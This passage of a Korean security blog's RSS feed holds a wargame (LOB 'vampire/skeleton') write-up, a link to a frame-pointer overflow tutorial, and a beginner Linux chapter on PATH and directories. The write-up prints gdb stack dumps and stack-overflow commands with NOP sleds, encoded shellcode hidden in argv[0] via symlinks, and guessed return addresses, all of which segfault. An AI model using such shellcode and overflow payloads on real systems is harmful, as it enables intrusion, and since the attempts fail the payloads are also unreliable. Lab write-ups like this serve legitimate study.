&lt;div&gt;0xbfffff68: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff78: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff88: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffff98: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffffa8: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffffb8: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffffc8: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbfffffd8: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
(gdb)&lt;/div&gt;
&lt;div&gt;0xbfffffe0: &amp;nbsp; &amp;nbsp; 0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xbffffff0: &amp;nbsp; &amp;nbsp; 0x732f2e00 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x656c656b &amp;nbsp; &amp;nbsp; &amp;nbsp;0x006e6f74 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000&lt;/div&gt;
&lt;div&gt;0xc0000000: &amp;nbsp; &amp;nbsp; Cannot access memory at address 0xc0000000&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
끝 부분의 약간의 찌꺼기가 남아있는데 그 부분이 파일명, Argv[0] 부분이라고 하는데&lt;/div&gt;
&lt;div&gt;정확히 왜 그런건지는 잘 모르겠습니다. 암튼 Argv[0] 을 이용해 공략하면 되는것이고 저번 페이로드처럼&lt;/div&gt;
&lt;div&gt;공격하겠습니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[vampire@localhost xodnr]$ ln -s skeleton `python -c &#039;print &quot;\x90&quot;*100 + &quot;\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81&quot;&#039;`&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[vampire@localhost xodnr]$ ll&lt;/div&gt;
&lt;div&gt;total 84&lt;/div&gt;
&lt;div&gt;-rw------- &amp;nbsp; &amp;nbsp;1 vampire &amp;nbsp;vampire &amp;nbsp; &amp;nbsp; 61440 Aug 27 21:13 core&lt;/div&gt;
&lt;div&gt;-rwxrwxr-x &amp;nbsp; &amp;nbsp;1 vampire &amp;nbsp;vampire &amp;nbsp; &amp;nbsp; 12752 Aug 27 21:10 skeleton&lt;/div&gt;
&lt;div&gt;-rw-r--r-- &amp;nbsp; &amp;nbsp;1 vampire &amp;nbsp;vampire &amp;nbsp; &amp;nbsp; &amp;nbsp; 821 Aug 27 21:10 skeleton.c&lt;/div&gt;
&lt;div&gt;lrwxrwxrwx &amp;nbsp; &amp;nbsp;1 vampire &amp;nbsp;vampire &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 8 Aug 27 21:21 ????????????????????????????????????????????????????????????????????????????????????????????????????ë?^1É±2?l?ÿ??é?uöë?èêÿÿÿ2ÁQi00tii0cjo?äQT?â?±?Î? -&amp;gt; skeleton&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[vampire@localhost xodnr]$ ./`python -c &#039;print &quot;\x90&quot;*100 + &quot;\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81&quot;&#039;` `python -c &#039;print &quot;\xbf&quot;*44 + &quot;\xbf\xfa\xff\xbf&quot;&#039;`&lt;/div&gt;
&lt;div&gt;¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿úÿ¿&lt;/div&gt;
&lt;div&gt;Segmentation fault (core dumped)&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[vampire@localhost xodnr]$ ./`python -c &#039;print &quot;\x90&quot;*100 + &quot;\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81&quot;&#039;` `python -c &#039;print &quot;\xbf&quot;*44 + &quot;\xfe\xff\xff\xbf&quot;&#039;`&lt;/div&gt;
&lt;div&gt;¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿þÿÿ¿&lt;/div&gt;
&lt;div&gt;Segmentation fault (core dumped)&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[vampire@localhost xodnr]$ ./`python -c &#039;print &quot;\x90&quot;*100 + &quot;\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81&quot;&#039;` `python -c &#039;print &quot;\xbf&quot;*44 + &quot;\xf0\xff\xff\xbf&quot;&#039;`&lt;/div&gt;
&lt;div&gt;¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿ðÿÿ¿&lt;/div&gt;
&lt;div&gt;Segmentation fault (core dumped)&lt;/div&gt;
&lt;div&gt;[vampire@localhost xodnr]$ ln -s skeleton `python -c &#039;print &quot;\x61\x61\xb8\xe0\x8a\x05\x40\x68\xf9\xbf\x0f\x40\xff\xd0&quot;&#039;`&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
[vampire@localhost xodnr]$ ./`python -c &#039;print &quot;\x61\x61\xb8\xe0\x8a\x05\x40\x68\xf9\xbf\x0f\x40\xff\xd0&quot;&#039;` `python -c &#039;print &quot;\x90&quot;*44 + &quot;\x26\xfc\xff\xbf&quot;&#039;`&lt;/div&gt;
&lt;div&gt;&amp;amp;üÿ¿&lt;/div&gt;
&lt;div&gt;Segmentation fault (core dumped)&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
그런데 계속해도 쉘이 뜨지를 않아서 코어를 확인해보았더니 정상적으로 들어가있습니다.&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
(gdb)&lt;/div&gt;
&lt;div&gt;0xbfffff68: &amp;nbsp; &amp;nbsp; 0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090&lt;/div&gt;
&lt;div&gt;0xbfffff78: &amp;nbsp; &amp;nbsp; 0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090&lt;/div&gt;
&lt;div&gt;0xbfffff88: &amp;nbsp; &amp;nbsp; 0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090&lt;/div&gt;
&lt;div&gt;0xbfffff98: &amp;nbsp; &amp;nbsp; 0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090&lt;/div&gt;
&lt;div&gt;0xbfffffa8: &amp;nbsp; &amp;nbsp; 0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090&lt;/div&gt;
&lt;div&gt;0xbfffffb8: &amp;nbsp; &amp;nbsp; 0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x90909090&lt;/div&gt;
&lt;div&gt;0xbfffffc8: &amp;nbsp; &amp;nbsp; 0xeb909090 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xc9315e11 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x6c8032b1 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x8001ff0e&lt;/div&gt;
&lt;div&gt;0xbfffffd8: &amp;nbsp; &amp;nbsp; 0xf67501e9 &amp;nbsp; &amp;nbsp; &amp;nbsp;0xeae805eb &amp;nbsp; &amp;nbsp; &amp;nbsp;0x32ffffff &amp;nbsp; &amp;nbsp; &amp;nbsp;0x306951c1&lt;/div&gt;
&lt;div&gt;0xbfffffe8: &amp;nbsp; &amp;nbsp; 0x69697430 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x6f6a6330 &amp;nbsp; &amp;nbsp; &amp;nbsp;0x5451e48a &amp;nbsp; &amp;nbsp; &amp;nbsp;0xb19ae28a&lt;/div&gt;
&lt;div&gt;0xbffffff8: &amp;nbsp; &amp;nbsp; 0x0081ce0c &amp;nbsp; &amp;nbsp; &amp;nbsp;0x00000000 &amp;nbsp; &amp;nbsp; &amp;nbsp;Cannot access memory at address 0xc0000000&lt;/div&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;
그래서 위의 주소로 이동시켜줘도 쉘이 뜨지를 않길래 한번 짧은 쉘코드를 써보았는데 그래도 쉘이 뜨지를 않았습니다. ㅠ;&lt;/div&gt;
&lt;div&gt;이상하게 쉘이 뜨지를 않습니다. 나중에 꼭 다시 풀어보도록 하겠습니다.&lt;/div&gt;
&lt;/div&gt;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-563-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-563-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-563-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=20206141&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/563</guid>
			<comments>http://iyounges.org/563#entry563comment</comments>
			<pubDate>Sun, 04 Sep 2011 23:42:31 +0900</pubDate>
		</item>
		<item>
			<title>Stack Frame Pointer Overflow - 프레임 포인터 오버플로우</title>
			<link>http://iyounges.org/562</link>
			<description>&lt;p style=&quot;margin:0&quot;&gt;&lt;br /&gt;
&lt;div class=&quot;imageblock center&quot; style=&quot;text-align: center; clear: both;&quot;&gt;&lt;a href=&quot;http://younges.tistory.com/attachment/cfile28.uf@1263D24D4E626B91015C02.txt&quot;&gt;&lt;img src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/txt.gif&quot; alt=&quot;&quot; style=&quot;vertical-align: middle;&quot; /&gt; 프레임 포인터 오버플로우.txt&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;br /&gt;
LOB 다크나이트 문제에서 사용되는 기술인 프레임 포인터 오버플로우 입니다.&lt;br /&gt;
SFP의 1바이트를 조작해 공격한다는데서 1바이트 오버플로우라는 별명도 있습니다.&lt;br /&gt;
설명이 매우 잘 되어있으므로 보면서 공부하시면 됩니다.&amp;nbsp;&lt;div class=&quot;entry-ccl&quot; style=&quot;clear: both; text-align: right; margin-bottom: 10px&quot;&gt;
	&lt;img id=&quot;ccl-icon-562-0&quot; class=&quot;entry-ccl-by&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black01.png&quot; alt=&quot;저작자 표시&quot;/&gt;
	&lt;img id=&quot;ccl-icon-562-1&quot; class=&quot;entry-ccl-nc&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black02.png&quot; alt=&quot;비영리&quot;/&gt;
	&lt;img id=&quot;ccl-icon-562-2&quot; class=&quot;entry-ccl-nd&quot; src=&quot;http://i1.daumcdn.net/cfs.tistory/v/0/static/admin/editor/ccl_black03.png&quot; alt=&quot;변경 금지&quot;/&gt;
	&lt;!--
	&lt;rdf:RDF xmlns=&quot;http://web.resource.org/cc/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;&gt;
		&lt;Work rdf:about=&quot;&quot;&gt;
			&lt;license rdf:resource=&quot;http://creativecommons.org/licenses/by-nc-nd/2.0/kr/&quot; /&gt;
		&lt;/Work&gt;
		&lt;License rdf:about=&quot;http://creativecommons.org/licenses/by-nc-nd/&quot;&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Reproduction&quot;/&gt;
			&lt;permits rdf:resource=&quot;http://web.resource.org/cc/Distribution&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Notice&quot;/&gt;
			&lt;requires rdf:resource=&quot;http://web.resource.org/cc/Attribution&quot;/&gt;
			&lt;prohibits rdf:resource=&quot;http://web.resource.org/cc/CommercialUse&quot;/&gt;
		&lt;/License&gt;
	&lt;/rdf:RDF&gt;
	--&gt;
&lt;/div&gt;
&lt;div class=&quot;blogger-news-widget&quot; style=&quot;width: 100%; text-align: center&quot;&gt;
		  					&lt;embed src=&quot;http://api.v.daum.net/static/recombox1.swf&quot; quality=&quot;high&quot; flashvars=&quot;nid=20189078&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;false&quot; bgcolor=&quot;#ffffff&quot; width=&quot;400&quot; height=&quot;80&quot; type=&quot;application/x-shockwave-flash&quot; wmode=&quot;transparent&quot;&gt;&lt;/embed&gt;
						&lt;/div&gt;</description>
			<category>　시스템 &amp; 웹</category>
			<author>XoDNr_ 깝태</author>
			<guid>http://iyounges.org/562</guid>
			<comments>http://iyounges.org/562#entry562comment</comments>
			<pubDate>Sun, 04 Sep 2011 03:02:43 +0900</pubDate>
		</item>
		<item>
			<title>[Chapter 1] 리눅스 시스템 프로그래밍 시작</title>
			<link>http://iyounges.org/561</link>
			<description>&lt;br /&gt;
(1) 유닉스(UNIX) 운영체제는 벨 연구소에서 제작되었으며 그 중 1970년대 PDF 컴퓨터들을 위해 설계된 유닉스는&lt;br /&gt;
다중 프로세서 서버들과 슈퍼컴퓨터들에 이르기까지 다양한 하드웨어 플랫폼을 위한 다중 사용자, 다중 태스킹 운영체제로 유명했다.&lt;br /&gt;
&lt;br /&gt;(2) 리눅스(LINUX) 운영체제는 리누스 토발즈가 유닉스 프로그래머들의 도움을 받아 제작했으며 유닉스류 커널의 한 부분이다.&lt;br /&gt;
유닉스에서 실행되는것은 실제로 리눅스에서도 거의 실행된다.&lt;br /&gt;
&lt;br /&gt;(3) 리눅스 프로그램&lt;br /&gt;
워게임에서 설명한적이 있지만, 리눅스 시스템에 로그인하고 쉘이 실행되고 우리는 쉘과 상호작용하면서 프로그램을 실행한다.&lt;br /&gt;
&lt;br /&gt;우리가 입력한(요청한) 명령어를 먼저 쉘(보통 bash)의 명령어인지 확인하고 그렇지&amp;nbsp;않을경우 &lt;br /&gt;
특정 폴더안에 (명시되어있는)선언되어있는 폴더안에서&amp;nbsp;동일한 이름을 가진 파일을&amp;nbsp;명령어(or 프로그램) 인지 확인한다.&lt;br /&gt;
그 특정폴더를 우리는 &lt;b&gt;PATH 환경변수&lt;/b&gt;라고 부른다. PATH 환경변수는 보통 시스템 관리자가 설정해두지만 일반 사용자가&lt;br /&gt;
직접 추가하거나 수정할 수 있다.&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;&lt;b&gt;env &lt;/b&gt;로 사용자 환경을 먼저 확인할 수 있고 &lt;b&gt;echo $PATH&lt;/b&gt; 로 PATH 환경변수를 확인할 수 있다.&lt;br /&gt;
환경변수를 선언할때는 &lt;b&gt;export PATH=&quot;경로&quot; or &#039;명령어&#039;&lt;/b&gt; 위 세가지 명령어를 이용해 관리할 수 있다.&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;&lt;div&gt;
[gate@localhost iyounges.org]$ env&lt;/div&gt;
&lt;div&gt;LESSOPEN=|/usr/bin/lesspipe.sh %s&lt;/div&gt;
&lt;div&gt;USERNAME=&lt;/div&gt;
&lt;div&gt;HISTSIZE=1000&lt;/div&gt;
&lt;div&gt;HOSTNAME=localhost.localdomain&lt;/div&gt;
&lt;div&gt;LOGNAME=gate&lt;/div&gt;
&lt;div&gt;REMOTEHOST=192.168.246.1&lt;/div&gt;
&lt;div&gt;MAIL=/var/spool/mail/gate&lt;/div&gt;
&lt;div&gt;TERM=xterm&lt;/div&gt;
&lt;div&gt;HOSTTYPE=i386&lt;/div&gt;
&lt;div&gt;PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/gate/bin&lt;/div&gt;
&lt;div&gt;HOME=/home/gate&lt;/div&gt;
&lt;div&gt;INPUTRC=/etc/inputrc&lt;/div&gt;
&lt;div&gt;SHELL=/bin/bash&lt;/div&gt;
&lt;div&gt;USER=gate&lt;/div&gt;
&lt;div&gt;BASH_ENV=/home/gate/.bashrc&lt;/div&gt;
&lt;div&gt;LANG=en_US&lt;/div&gt;
&lt;div&gt;OSTYPE=Linux&lt;/div&gt;
&lt;div&gt;SHLVL=1&lt;/div&gt;
&lt;div&gt;LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:&lt;/div&gt;
&lt;div&gt;_=/usr/bin/env&lt;br /&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div&gt;[gate@localhost iyounges.org]$ echo $PATH&lt;/div&gt;
&lt;div&gt;/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/gate/bin&lt;br /&gt;
&lt;br /&gt;위 PATH 변수의 항목들을 구분할때는 : 를 기준으로 구별하며 왼쪽에서 오른쪽으로 읽어간다.&lt;br /&gt;
고로 A, B 폴더안에 똑같은 파일이 들어있는데 선언될때 B : A 로 선언이되면 B 에 있는 프로그램을 먼저 보고 실행한다는것이다.&lt;br /&gt;
그러면 환경변수를 직접 추가해보겠습니다.&lt;br /&gt;
&lt;br /&gt;[gate@localhost iyounges.org]$ export PATH=&quot;/tmp/iyounges.org:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/gate/bin&quot;&lt;/div&gt;
&lt;div&gt;[gate@localhost iyounges.org]$ env&lt;/div&gt;
&lt;div&gt;LESSOPEN=|/usr/bin/lesspipe.sh %s&lt;/div&gt;
&lt;div&gt;USERNAME=&lt;/div&gt;
&lt;div&gt;HISTSIZE=1000&lt;/div&gt;
&lt;div&gt;HOSTNAME=localhost.localdomain&lt;/div&gt;
&lt;div&gt;LOGNAME=gate&lt;/div&gt;
&lt;div&gt;REMOTEHOST=192.168.246.1&lt;/div&gt;
&lt;div&gt;MAIL=/var/spool/mail/gate&lt;/div&gt;
&lt;div&gt;TERM=xterm&lt;/div&gt;
&lt;div&gt;HOSTTYPE=i386&lt;/div&gt;
&lt;div&gt;PATH=&lt;b&gt;/tmp/iyounges.org&lt;/b&gt;:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/gate/bin&lt;/div&gt;
&lt;div&gt;HOME=/home/gate&lt;/div&gt;
&lt;div&gt;INPUTRC=/etc/inputrc&lt;/div&gt;
&lt;div&gt;SHELL=/bin/bash&lt;/div&gt;
&lt;div&gt;USER=gate&lt;/div&gt;
&lt;div&gt;BASH_ENV=/home/gate/.bashrc&lt;/div&gt;
&lt;div&gt;LANG=en_US&lt;/div&gt;
&lt;div&gt;OSTYPE=Linux&lt;/div&gt;
&lt;div&gt;SHLVL=1&lt;/div&gt;
&lt;div&gt;LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:&lt;/div&gt;
&lt;div&gt;_=/usr/bin/env&lt;br /&gt;
&lt;br /&gt;/tmp/iyounges.org 가 추가된것을 확인할 수 있다.&lt;br /&gt;
&lt;br /&gt;(4) 추가! - 리눅스 시스템 디렉터리 구조&lt;br /&gt;
리눅스는 디렉터리를 하나의 파일로 인식한다.&lt;br /&gt;
&lt;br /&gt;[ &amp;nbsp;/ &amp;nbsp;] : 최상위 디렉터리 (루트 디렉터리)&amp;nbsp;&lt;br /&gt;
&amp;nbsp; &amp;nbsp;┣ [ /bin &amp;nbsp; ] : 기본 사용자 명령어&lt;br /&gt;
&amp;nbsp; &amp;nbsp;┣ [&amp;nbsp;/boot ] : 부팅 파일&lt;br /&gt;
&amp;nbsp; &amp;nbsp;┣ [&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/dev&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;] : 각종 장치 파일(하드디스크, CD-ROM 드라이브)&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp;┣ [&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/etc&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;] : 시스템 관리에 필요한 스크립트와 설정파일&lt;/div&gt;
&lt;div&gt;&amp;nbsp; &amp;nbsp;┣ [&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/home&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;] : 사용자 홈 디렉터리&amp;nbsp;&lt;/div&gt;
&amp;nbsp;&amp;nbsp; ┣ [&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;] : 각종 라이브러리, 커널 모듈&lt;br /&gt;
&amp;nbsp; &amp;nbsp;┣ [&amp;nbsp;/lost+found ] : 파일 시스템 복구를 위한 디렉터리&lt;br /&gt;
&amp;nbsp; &amp;nbsp;┣ [&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;/mnt&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;] : 마운트될 파일시스템의 마운트 포인터&lt;br /&gt;
&amp;nbsp; &amp;nbsp;┣ [&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/opt&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;] : 부가 응용 프로그램 패키지 설치파일&lt;br /&gt;
&amp;nbsp; &amp;nbsp;┣ [&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/proc&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;] : 시스템의 효율적 관리를 위한 메모리상에 만들어 놓은 가상 디렉터리&lt;br /&gt;
&amp;nbsp; &amp;nbsp;┣ [&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/root&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;] : 루트 사용자만 접속이 가능한 루트 디렉터리&lt;br /&gt;
&amp;nbsp; &amp;nbsp;┣ [&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/sbin&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;] : 시스템 관리에 관려된 실행파일 포함&lt;br /&gt;
